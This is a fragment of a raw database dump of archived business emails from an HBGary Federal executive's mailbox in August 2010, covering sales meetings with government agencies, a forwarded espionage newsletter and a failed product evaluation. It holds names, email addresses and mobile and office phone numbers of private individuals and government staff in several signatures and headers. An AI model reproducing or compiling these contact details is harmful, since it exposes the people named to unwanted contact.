Webmaster\r\n --------------------------------------------------------------------\r\nYou are receiving this email notice because you were listed as a point of contact for your company on the IC Acquisition Research Center (ARC) Contractor Registry.  If you do not wish to receive further notices please login to the ARC (https://arc.westfields.net/) using your company account and update your company POC profile with your email preferences.\r\n\r\nTicom Inc./ACE\r\n3810 Concorde Parkway Suite 1800\r\nChantilly, VA 20151 arc@westfields.net\r\n703-449-8014 \r\n\r\n/* ---------- html defaults ---------- */\r\nbody { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: 100%; margin: 0px; padding: 0px; }\r\np, td, th { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .9em;}\r\np { margin: 0 0 10px 0; }\r\ntable { border: 0; }\r\nh2 { font-family: Georgia, Times New Roman, serif; font-size: 1.2em; font-weight: bold; color: #00005A; margin: 0px 0px 8px 0px; }\r\nh3 { font-family: Verdana, Arial, Helvetica; font-size: 1em; font-weight: bold; color: #00005A; margin: 8px 0px 4px 0px;  }\r\nh4 { font-family: Verdana, Arial, Helvetica; font-size: .9em; font-weight: bold; color: #00005A; margin: 8px 0px 2px 0px; }\r\nhr { background-color: #6699CC; } /* check this out */\r\nimg { margin: 0; padding: 0; border: 0; }\r\nblockquote { margin: 15px 20px 15px 20px; font-size: 1em; font-style: italic; }\r\n\r\n/* ---------- lists ---------- */\r\n/* default lists */\r\nol { margin: 0px; padding: 0; }\r\nol li { list-style-position: inside; list-style-type: decimal; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em; }\r\nol ol li { list-style-type: lower-alpha; font-size: .9em; line-height: 1; }\r\n\r\nul { margin: 5px 5px 5px 15px; padding: 0; max-width: 600px; }\r\nul li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* navlist in-page vertical menus */\r\n#navlist {}\r\n#navlist ul { margin: 0 0 15px 10px; padding: 0; text-align: left; }\r\n#navlist ul li { list-style-type: none; list-style-position: outside; font-size: .8em; text-indent: 0; padding: 0; margin: 5px 0px 5px 0px; }\r\n#navlist ul li a { background: transparent url(../images/earth_bullet.gif) left center no-repeat; padding: 5px 15px 5px 30px; font-size: .9em; text-align: left; text-decoration: none; line-height: 2.0; }\r\n#navlist ul li a:hover { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; color: #00005A; }\r\n#navlist ul li a#current { background: transparent url(../images/earth_bullet_dark.gif) left center no-repeat; }\r\n\r\n/* interior list */\r\nul.interior { margin: 5px; padding: 0; }\r\nul.interior li { 	list-style-position: inside; list-style-type: disc; font-size: .9em; line-height: 1.3;	padding-left: 1.3em;	margin: 5px 0px 10px 0px; text-indent: -1.3em;}\r\nul.interior ul li { list-style-type: square; font-size: .9em; line-height: 1; }\r\n\r\n/* ---------- generic classes ---------- */\r\n.alert { color: #CD0900; }\r\ntr.alert td { color: #CD0900; } \r\n.result { color: #CD0900; margin-bottom: 15px; font-weight: bold; }\r\n.inst { font-size: .8em; font-weight: normal; }\r\n.redbord, tr.redbord td, td.redbord { border : solid 1px #CD0900 !important; }\r\n.adminbord, tr.adminbord td, td.adminbord { border : dashed 1px #4d7dad !important; }\r\n.nobord { border: 0 !important; }\r\n.transparent { background-color: transparent !important; }\r\n.bold, tr.bold td { font-weight: bold; }\r\n.hilight, tr.hilight td { background-color: #F4F8FB !important; }\r\n.hilight2, tr.hilight2 td { background-color: #FFE8D9 !important; }\r\n.white { background-color: white; }\r\n.gray { background-color: #c8c8c8; }\r\n/* left aligned row */\r\ntr.left td, tr.left th { text-align: left; }\r\n.nobreak { white-space: nowrap; }\r\ntr.nobreak td { white-space: nowrap; }\r\n.smalltext { font-family: Verdana, Arial, Helvetica, sans-serif; font-size: .6em;}\r\n.notice { color: #CC6600 ; !important; }\r\n.green { color: #009933 ; !important; }\r\n.orange { color: #FF6600; !important; }\r\nimg.calendar { margin: 0; padding: 0; border: 0; cursor: pointer; }\r\n.clearfloat { clear: right; }\r\n.down { margin-top: 10px; }\r\n\r\n/* ---------- link styles ---------- */\r\n/* basic text link */\r\na, a:link { font-family: Verdana, Helvetica, sans-serif; color: #4D7DAD; font-weight: bold; font-variant: small-caps; text-decoration: none; }\r\na:visited { color: #333333; text-decoration: none; }\r\na:hover { text-decoration: underline; color: #000000; }\r\na:active { color: #000000; }\r\n/* button link */\r\ndiv.button { margin: 20px 0px 10px 0; }\r\ndiv.button a, div.button a:link, div.button a:visited { font-size: .9em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal; }\r\ndiv.button a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* button2 link */\r\ndiv.button2 { margin: 20px 0px 10px 0; }\r\ndiv.button2 a, div.button2 a:link, div.button2 a:visited { font-size: .8em; color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #4D7DAD; padding: 3px 5px 3px 5px; font-variant: normal;}\r\ndiv.button2 a:hover { color: #00005A; border: inset 3px #4D7DAD; text-decoration: none; }\r\ndiv.button2 a:active { color: #000000; text-decoration: none; border: inset 3px #4D7DAD; }\r\n\r\n/* small button link */\r\ndiv.small_button { margin: 10px 0px 0px 0; }\r\ndiv.small_button a, div.small_button a:link, div.small_button a:visited { font-size: .8em; color: #00005A; background-color: #CCC; border: outset 3px #FF6600; padding: 3px 3px 3px 3px; font-variant: normal;}\r\ndiv.small_button a:hover { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\ndiv.small_button a:active { color: #FF6600; text-decoration: none; border: inset 3px #FF6600; }\r\n\r\n/* highlight button link */\r\ndiv.hilite_button { margin: 20px 0px 10px 0; }\r\ndiv.hilite_button a, div.hilite_button a:link, div.hilite_button a:visited { color: #FFFFFF; background-color: #4D7DAD; border: outset 3px #ff0000; padding: 3px 5px 3px 5px; }\r\ndiv.hilite_button a:hover { color: #00005A; border: inset 3px #ff0000; text-decoration: none; }\r\ndiv.hilite_button a:active { color: #000000; text-decoration: none; border: inset 3px #ff0000; }\r\n\r\n\r\n',3768,'aaron_hbgary_com/3768.html'),(10108,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007873.M367867P14101Q4963.eml','\"John Fanguy\" <jfanguy@digitalmanagement.com>,\"Kirby Kintner\" <kkintner@digitalmanagement.com>','What I have to date','Hmmm... I sent this at 11:59 but didn\'t send before I closed my laptop.\r\n\r\nNot completely happy with my inputs completeness or lack their of, just didn\'t have the time I needed.\r\n\r\nI will keep adding.  Looking forward to input so I can improve delivery of content.\r\n\r\nI am still planning to be in your facility Friday and Monday, can be there most of rest of next week as well.  I will work on two page overall solution given the wheel.\r\n\r\nAaron\r\n\r\n',7951,'aaron_hbgary_com/7951.html'),(10109,'2010-08-11','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297007873.M792833P14101Q4964.eml','aaron@hbgary.com','Book a meeting room for $14/hour!','\r\n \r\n\r\n \r\n\r\n\r\n\r\n	\r\n Regus \r\n	\r\n\r\n \r\n\r\n \r\n\r\n \r\n\r\n	 \r\n	  \r\n	    \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                  \r\n	                    Having trouble viewing this e-mail? See it online.\r\n	               \r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	                \r\n	                \r\n	              \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                Regus makes successful meetings simple. With more than 4,000 meeting rooms to choose from, state-of-the art A/V equipment, free Internet access, catering options, and hourly pricing, you always get the perfect business venue for the perfect business meeting. It&rsquo;s the new way to work. And it&rsquo;s only at Regus. \r\n                        \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                \r\n	                \r\n	                &nbsp;\r\n	                \r\n	              \r\n	                \r\n	                &nbsp;\r\n	                \r\n	                \r\n	              \r\n	            \r\n	            \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        &nbsp;\r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	          \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                1100\r\n	                  locations\r\n	                &nbsp;\r\n	                500\r\n	                  cities\r\n	                &nbsp;\r\n	                85\r\n	                  countries\r\n	                &nbsp;\r\n	                \r\n	              \r\n	            \r\n	            \r\n	              \r\n	                \r\n	                \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                \r\n	                  \r\n	                    1-888-271-4615 \r\n	                      \r\n	                    regus.com\r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	                &nbsp;\r\n	                \r\n	                  \r\n	                    Follow\r\n	                        us:\r\n	                    \r\n	                    \r\n	                    \r\n	                    \r\n	                  \r\n	                \r\n	              \r\n	            \r\n	          \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	        \r\n	        \r\n	      \r\n	      \r\n	        \r\n	          \r\n	            \r\n	            *Rate reflects businessworld membership discount. Hourly pricing based on meeting room accommodating minimum of 4 people during normal business hours. Rates vary by room size and location and do not include additional audiovisual equipment, videoconferencing, or administrative support. Offer valid in participating Regus/HQ locations in U.S. and Canada. Subject to availability.\r\n	              \r\n	              Regus Group plc and its subsidiaries (&ldquo;Regus Group&rdquo;) respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may change your requirements by clicking unsubscribe. You can find out more by reading our privacy policy.\r\n	              \r\n	              Regus plc (soci&eacute;t&eacute; anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street,\r\n	              St Helier, Jersey, JE4 8PX, Channel Islands Jersey Registered Number: 101523.\r\n	            &nbsp;\r\n	            \r\n	          \r\n	        \r\n	      \r\n	    \r\n	  	\r\n\r\n \r\n\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\n',15367,'aaron_hbgary_com/15367.html'),(10110,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007874.M31753P14101Q4965.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: NGIC Irregular Warfare Opportunity','Begin forwarded message:From: Omar Balkissoon &lt;Omar.Balkissoon@ogsystems.com&gt;\r\nDate: August 11, 2010 10:09:52 AM MDTTo: &quot;ted@hbgary.com&quot; &lt;ted@hbgary.com&gt;Subject: NGIC Irregular Warfare Opportunity\r\nTed, \r\nGrabbed your name off of FBO and wanted to see if you all were interested in sharing your capabilities as it relates to this effort.  I scanned your website and I think you may have some good Cyber coverage areas.  We are looking for some partners for this effort.  Let me know if you’d like to chat!\r\n Best Regards,\r\nOmar BalkissoonChief Executive Officer703-725-8119 (M)800-483-6041 (O) \r\n\r\n',3219,'aaron_hbgary_com/3219.html'),(10111,'2010-08-11','\"Sullivan, Mary\" <mary.sullivan@fidelissecurity.com>','/aaron@hbgary.com/new/1297007874.M322454P14101Q4966.eml','\"Aaron Barr\" <aaron@hbgary.com>','Bulldog','Socializing the policy pack in several areas, FYI. I\'m very persistent  \r\nyet sneaky so give me some time. :-)I\'m convinced it\'s the right  \r\napproach for now and seeing progress convincing others. What I\'m doing  \r\nis getting policies customers have built along with their success to  \r\nshow it can work. Not perfect but can\'t let perfect be the enemy of  \r\nthe good.\r\n\r\nSent from my mobile--excuse typos or brevity\r\n',5960,'aaron_hbgary_com/5960.html'),(10112,'2010-08-11','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297007878.M430466P14101Q4967.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,rich@hbgary.com,\"Phil Wallisch\" <phil@hbgary.com>,\"Martin Pillion\" <martin@hbgary.com>','FW: NMCIWG: Weekly Espionage Newsletter','\r\n\r\n-----Original Message-----\r\nFrom: Ousley, Jerry, CIV, DSS [mailto:Jerry.Ousley@dss.mil] \r\nSent: Wednesday, August 11, 2010 11:22 AM\r\nSubject: FW: NMCIWG: Weekly Espionage Newsletter\r\n\r\n \r\n\r\nSubject: NMCIWG: Weekly Espionage Newsletter\r\n\r\nDue to mission requirements, this week\'s Espionage newsletter is arriving in\r\nyour inbox a few days earlier than usual. This issue\'s\r\ntopics:\r\n\r\n*       Hawaii man\'s China military secrets trial to begin\r\n\r\n*       GhostNet 2.0 espionage network uses cloud services \r\n\r\n*       China denies Canadian hacker claims\r\n\r\n*       Taiwan man pleads guilty in Iran missile case\r\n\r\n*       Macau resident convicted in US of illegal defense exports\r\n\r\n*       Marine Sentenced for Passing Secrets\r\n\r\n*       German spy jailed for giving secrets to gay lover \r\n\r\n*       Alleged Wikileaks Mole Indicted\r\n\r\n*       Couple charged over hybrid car industrial espionage plot\r\n\r\n',14566,'aaron_hbgary_com/14566.html'),(10113,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007878.M732566P14101Q4968.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Rich Cummings\" <rich@hbgary.com>','Fwd: Availability for Pilot','Rich \r\n \r\nPlease confirm that you will meet with Brian Christos on Thursday next week?  What time will you arrive  and fyi you missed the requirements meeting  -- you will need to touch base with Brian with a documented test plan because his Branch Chief has high expectations...\r\n\r\n \r\nWe need to sync up on this\r\n \r\nMaria\r\n---------- Forwarded message ----------From: Christos, Brian N. &lt;Brian_N._Christos@oa.eop.gov&gt;\r\nDate: Wed, Aug 11, 2010 at 11:25 AMSubject: Re: Availability for PilotTo: Maria Lucas &lt;maria@hbgary.com&gt;\r\nWe can do Thursday but not Friday. \r\nOn 8/10/10 6:25 PM, &quot;Maria Lucas&quot; &lt;maria@hbgary.com&gt; wrote:\r\n\r\nHi Brian Rich is available next week -- Thursday / Friday August 19-20.  Will this work for you? Maria\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',2908,'aaron_hbgary_com/2908.html'),(10114,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007879.M362287P14101Q4970.eml','\"Vaziri-Zanjani, Ali\" <Vaziri-ZanjaniA@state.gov>,\"Vaziri-Zanjani, Ali\" <Vaziri-ZanjaniA@state.gov>,','HBGary meeting DETAIL and expectations','Hi Al\r\n \r\nTomorrow you will meet with Aaron Barr, CEO of HBGary Federal who does a great job of articulating our solutions especially in the larger picture and how we integrate with other enterprise solutions for maximum benefits.  Aaron will have remote support for the product demonstration.   Will you be able to access a Webex meeting for the product demo?\r\n\r\n \r\nHopefully, this is not an inconvenience?\r\n \r\nMaria-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',16473,'aaron_hbgary_com/16473.html'),(10115,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007879.M57252P14101Q4969.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Declined: FW: Invitation: State Dept Presentation -- HBGary 	technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)','Apparently Al Vaziri from the State Dept is inviting others to the meeting.  Bobby Miller manages the SOC.  I assume that they will also want to see Responder Pro\r\n \r\ni.e. start with the Active Defense and then show once you have malware to deep dive analyze how you can then use the point solution.\r\n---------- Forwarded message ----------From: Miller, Bobby J &lt;MillerBJ@state.gov&gt;Date: Wed, Aug 11, 2010 at 11:42 AM\r\nSubject: Declined: FW: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)To: Maria Lucas &lt;maria@hbgary.com&gt;\r\n\r\n\r\nI’ll be on leave tomorrow.  Thanks for the invite\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',2824,'aaron_hbgary_com/2824.html'),(10116,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007879.M621098P14101Q4971.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','Fwd: Accepted: FW: Invitation: State Dept Presentation -- HBGary 	technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)','We may need to have Phil or Martin demo the Responder Pro -- Al is apparently inviting others I know they will want to see Responder Pro for sure.  I am calling Al  now.\r\n \r\nALSO Note he goes by Al Vaziri  NOT Ali\r\n---------- Forwarded message ----------From: Bates, Jason R &lt;BatesJR@state.gov&gt;Date: Wed, Aug 11, 2010 at 11:54 AM\r\nSubject: Accepted: FW: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)To: Maria Lucas &lt;maria@hbgary.com&gt;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',3939,'aaron_hbgary_com/3939.html'),(10117,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007879.M862678P14101Q4972.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','Demo Video','I put the demo video on the webdav share:\r\n\r\nhttp://idisk.hbgaryfederal.com\r\n\r\nIn the demo_videos directory (it\'s currently the only file in there\r\n~100MB in size).\r\n\r\nTed\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',1600,'aaron_hbgary_com/1600.html'),(10118,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007880.M147824P14101Q4973.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>,','TASC','Aaron,\r\n\r\nSteve W mentioned that you should call Mark Leary who is now the CISO\r\nfor TASC to set up a demo for Responder Pro/ddna and Active Defense.\r\nTASC could benefit from using these products on their own network, as\r\nwell as for their customers, and incident response, etc...   He also\r\nmentioned that Mark \"may have a bad taste in his mouth\" from a\r\nprevious HBGary product demo/eval that he was involved in when he was\r\npart of Northrop Grumman.  Bob/Maria, do you know any details of this?\r\n Ideally we should try to address the concern(s) right up front with\r\nMark.\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',5987,'aaron_hbgary_com/5987.html'),(10119,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007880.M417994P14101Q4974.eml','\"Ted Vera\" <ted@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>,','Re: TASC','Bob&#39;s account\r\nOn Wed, Aug 11, 2010 at 12:35 PM, Ted Vera &lt;ted@hbgary.com&gt; wrote:\r\nAaron,Steve W mentioned that you should call Mark Leary who is now the CISOfor TASC to set up a demo for Responder Pro/ddna and Active Defense.\r\nTASC could benefit from using these products on their own network, aswell as for their customers, and incident response, etc...   He alsomentioned that Mark &quot;may have a bad taste in his mouth&quot; from a\r\nprevious HBGary product demo/eval that he was involved in when he waspart of Northrop Grumman.  Bob/Maria, do you know any details of this? Ideally we should try to address the concern(s) right up front withMark.\r\nTed--Ted Vera  |  President  |  HBGary FederalOffice 916-459-4727x118  | Mobile 719-237-8623www.hbgary.com  |  ted@hbgary.com\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n',13097,'aaron_hbgary_com/13097.html'),(10120,'2010-08-11','\"Aaron Barr\" <adbarr@me.com>','/aaron@hbgary.com/new/1297007880.M751288P14101Q4975.eml','aaron@hbgary.com','Alarm - Dawn Meyerriecks re malware','August 11, 2010 3:00 PM : Dawn Meyerriecks re malwareMoved earlier at government request.&nbsp; Can you support Aaron? &nbsp;Bring a CD of the item we discussed. &nbsp; ',13410,'aaron_hbgary_com/13410.html'),(10121,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007881.M291748P14101Q4977.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: TASC','Mark was Chris Barnetts boss.\r\n\r\nOn Aug 11, 2010, at 4:28 PM, Bob Slapnik wrote:\r\n\r\n> Aaron and Ted,\r\n> \r\n> I don\'t know Mark Leary, but he might be referring to a bad experience\r\n> HBGary had with NG.\r\n> \r\n> In August 2009 we got an order for 2 Responder Pro and 4 training seats.\r\n> The NG manager was Bil Carter.  The software was recommended by Bob Stanley\r\n> who was on his staff.  They were traditional disk forensics guys doing HR\r\n> investigation work, similar to the forensics that a law enforcement person\r\n> would do.  Bil and Bob went to the \"Using Responder Pro for Malware\r\n> Analysis\" class and were unable to follow the content.  The class was\r\n> focused on malware and they didn\'t know anything about malware.  Even after\r\n> we had a tech guy spend 1-2 more days with them at their location, they\r\n> still weren\'t getting value.  One thing they wanted didn\'t work.  Responder\r\n> didn\'t automatically recognize that the memory image was compressed so its\r\n> analysis failed.  Phil was new and didn\'t know he had to decompress before\r\n> analyzing.  Now Responder automatically decompresses.  We kept trying to\r\n> make it right, but ultimately they returned the software and they didn\'t pay\r\n> anything.\r\n> \r\n> In hindsight they should have purchased two Responder Field Edition for a\r\n> whole lot less.  I went back with that offer but Bil didn\'t want to talk.\r\n> \r\n> Bob \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Ted Vera [mailto:ted@hbgary.com] \r\n> Sent: Wednesday, August 11, 2010 3:35 PM\r\n> To: Barr Aaron\r\n> Cc: Bob Slapnik; Maria Lucas\r\n> Subject: TASC\r\n> \r\n> Aaron,\r\n> \r\n> Steve W mentioned that you should call Mark Leary who is now the CISO\r\n> for TASC to set up a demo for Responder Pro/ddna and Active Defense.\r\n> TASC could benefit from using these products on their own network, as\r\n> well as for their customers, and incident response, etc...   He also\r\n> mentioned that Mark \"may have a bad taste in his mouth\" from a\r\n> previous HBGary product demo/eval that he was involved in when he was\r\n> part of Northrop Grumman.  Bob/Maria, do you know any details of this?\r\n> Ideally we should try to address the concern(s) right up front with\r\n> Mark.\r\n> \r\n> Ted\r\n> \r\n> \r\n> -- \r\n> Ted Vera  |  President  |  HBGary Federal\r\n> Office 916-459-4727x118  | Mobile 719-237-8623\r\n> www.hbgary.com  |  ted@hbgary.com\r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n> 02:34:00\r\n> \r\n\r\n',15392,'aaron_hbgary_com/15392.html'),(10122,'2010-08-11','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297007881.M39975P14101Q4976.eml','\"Ted Vera\" <ted@hbgary.com>,\"Barr Aaron\" <aaron@hbgary.com>','RE: TASC','Aaron and Ted,\r\n\r\nI don\'t know Mark Leary, but he might be referring to a bad experience\r\nHBGary had with NG.\r\n\r\nIn August 2009 we got an order for 2 Responder Pro and 4 training seats.\r\nThe NG manager was Bil Carter.  The software was recommended by Bob Stanley\r\nwho was on his staff.  They were traditional disk forensics guys doing HR\r\ninvestigation work, similar to the forensics that a law enforcement person\r\nwould do.  Bil and Bob went to the \"Using Responder Pro for Malware\r\nAnalysis\" class and were unable to follow the content.  The class was\r\nfocused on malware and they didn\'t know anything about malware.  Even after\r\nwe had a tech guy spend 1-2 more days with them at their location, they\r\nstill weren\'t getting value.  One thing they wanted didn\'t work.  Responder\r\ndidn\'t automatically recognize that the memory image was compressed so its\r\nanalysis failed.  Phil was new and didn\'t know he had to decompress before\r\nanalyzing.  Now Responder automatically decompresses.  We kept trying to\r\nmake it right, but ultimately they returned the software and they didn\'t pay\r\nanything.\r\n\r\nIn hindsight they should have purchased two Responder Field Edition for a\r\nwhole lot less.  I went back with that offer but Bil didn\'t want to talk.\r\n\r\nBob \r\n\r\n\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com] \r\nSent: Wednesday, August 11, 2010 3:35 PM\r\nTo: Barr Aaron\r\nCc: Bob Slapnik; Maria Lucas\r\nSubject: TASC\r\n\r\nAaron,\r\n\r\nSteve W mentioned that you should call Mark Leary who is now the CISO\r\nfor TASC to set up a demo for Responder Pro/ddna and Active Defense.\r\nTASC could benefit from using these products on their own network, as\r\nwell as for their customers, and incident response, etc...   He also\r\nmentioned that Mark \"may have a bad taste in his mouth\" from a\r\nprevious HBGary product demo/eval that he was involved in when he was\r\npart of Northrop Grumman.  Bob/Maria, do you know any details of this?\r\n Ideally we should try to address the concern(s) right up front with\r\nMark.\r\n\r\nTed\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.851 / Virus Database: 271.1.1/3050 - Release Date: 08/11/10\r\n02:34:00\r\n\r\n',15294,'aaron_hbgary_com/15294.html'),(10123,'2010-08-11','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297007881.M603287P14101Q4978.eml','aaron@hbgary.com,brian_n._christos@oa.eop.gov,\"Rich Cummings\" <rich@hbgary.com>','Invitation: EOP Active Defense Pilot Pilot Brian (202) 395-3304 Rich 	... @ Thu Aug 19, 2010 (aaron@hbgary.com)',' more details &raquo;EOP Active Defense Pilot Pilot  Brian (202) 395-3304 Rich 703-999-5012WhenThu Aug 19, 2010Whereto be added (map)Calendaraaron@hbgary.comWho&#x2022;Maria Lucas - organizer&#x2022;Aaron Barr&#x2022;brian_n._christos@oa.eop.gov&#x2022;Rich CummingsGoing?&nbsp;&nbsp;&nbsp;Yes - Maybe - No&nbsp;&nbsp;&nbsp;&nbsp;more options &raquo;Invitation from Google CalendarYou are receiving this email at the account aaron@hbgary.com because you are subscribed for invitations on calendar aaron@hbgary.com.To stop receiving these notifications, please log in to https://www.google.com/calendar/hosted/hbgary.com/ and change your notification settings for this calendar.',6049,'aaron_hbgary_com/6049.html'),(10124,'2010-08-11','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297007881.M856661P14101Q4979.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>','Re: Accepted: FW: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)','Do we have a location yet? &nbsp;So to be clear. &nbsp;I am going to talk to the larger picture of how Active Defense and Reponder fit within enterprise security, benefits, etc. &nbsp;I can talk to our partnerships. &nbsp;And others will be available via webex to demo AD and Responder?AaronOn Aug 11, 2010, at 3:04 PM, Maria Lucas wrote:We may need to have Phil or Martin demo the Responder Pro -- Al is apparently inviting others I know they will want to see Responder Pro for sure.&nbsp; I am calling Al &nbsp;now.\r\n&nbsp;\r\nALSO Note he goes by Al Vaziri&nbsp; NOT Ali\r\n---------- Forwarded message ----------From: Bates, Jason R &lt;BatesJR@state.gov&gt;Date: Wed, Aug 11, 2010 at 11:54 AM\r\nSubject: Accepted: FW: Invitation: State Dept Presentation -- HBGary technology and for moni... @ Thu Aug 12 11am - 12pm (Vaziri-ZanjaniA@state.gov)To: Maria Lucas &lt;maria@hbgary.com&gt;\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401&nbsp; Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n&nbsp;&nbsp;\r\n',11308,'aaron_hbgary_com/11308.html'),(10125,'2010-08-11','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297007883.M856415P14101Q4980.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Maria Lucas\" <maria@hbgary.com>,mark@hbgary.com,\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Sales Collateral','FYI --\r\n\r\n\r\n---------- Forwarded message ----------\r\nFrom: David Gerulski \r\nDate: Wed, Aug 11, 2010 at 2:17 PM\r\nSubject: Sales Collateral\r\nTo: Ted Vera \r\n\r\n\r\nTed,\r\n\r\nOur first shot at a data sheet for the ipAwareness product.\r\n\r\nWe should have updated docs in two weeks.\r\n\r\nAgain, your logos will help me get this into a format you can use.\r\n\r\nDave\r\n\r\nDavid Gerulski\r\nVP Commercial Sales & Marketing\r\ndgerulski@endgames.us\r\n\r\n770.906.3283\r\n\r\n\r\n\r\n\r\n-- \r\nTed Vera  |  President  |  HBGary Federal\r\nOffice 916-459-4727x118  | Mobile 719-237-8623\r\nwww.hbgary.com  |  ted@hbgary.com\r\n',11180,'aaron_hbgary_com/11180.html'),(10126,'2010-08-11','\"Aaron Barr\" 